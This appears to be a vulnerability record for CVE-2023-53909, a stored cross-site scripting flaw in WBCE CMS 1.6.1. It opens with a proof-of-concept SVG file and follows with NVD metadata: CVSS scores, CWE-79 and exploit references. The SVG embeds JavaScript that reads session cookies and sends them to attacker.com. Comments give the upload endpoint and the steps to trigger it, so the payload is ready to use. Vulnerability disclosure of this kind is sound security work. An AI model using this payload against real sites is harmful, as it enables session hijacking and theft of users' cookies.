CVE-2023-53909

<!-- Malicious SVG file for CVE-2023-53909 --> <!-- This PoC demonstrates the stored XSS via SVG upload --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal session cookies var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookies), true); xhr.send(); // Alternative: Display alert for verification alert('XSS Payload Executed - CVE-2023-53909'); console.log('Stolen cookies: ' + cookies); </script> <rect width="100" height="100" fill="red"/> <text x="10" y="50">Click to view</text> </svg> <!-- Upload this SVG file through the media manager --> <!-- Endpoint: /wbce/modules/elfinder/ef/php/connector.wbce.php --> <!-- Then access the uploaded file to trigger the XSS --> <!-- Example: /wbce/media/your_uploaded_file.svg -->

{"cve": {"id": "CVE-2023-53909", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:15:49.193", "lastModified": "2025-12-27T17:15:42.777", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "WBCE CMS 1.6.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious JavaScript by uploading crafted SVG files through the media manager. Attackers can upload SVG files containing script tags to the /wbce/modules/elfinder/ef/php/connector.wbce.php endpoint and execute JavaScript when victims access the uploaded file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wbce:wbce_cms:1.6.1:-:*:*:*:*:*:*", "matchCriteriaId": "2693F6EB-5768-406D-9042-F48E81CDD98E"}]}]}], "references": [{"url": "https://wbce-cms.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51484", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/wbce-cms-svg-file-content-cross-site-scripting", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51484", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}}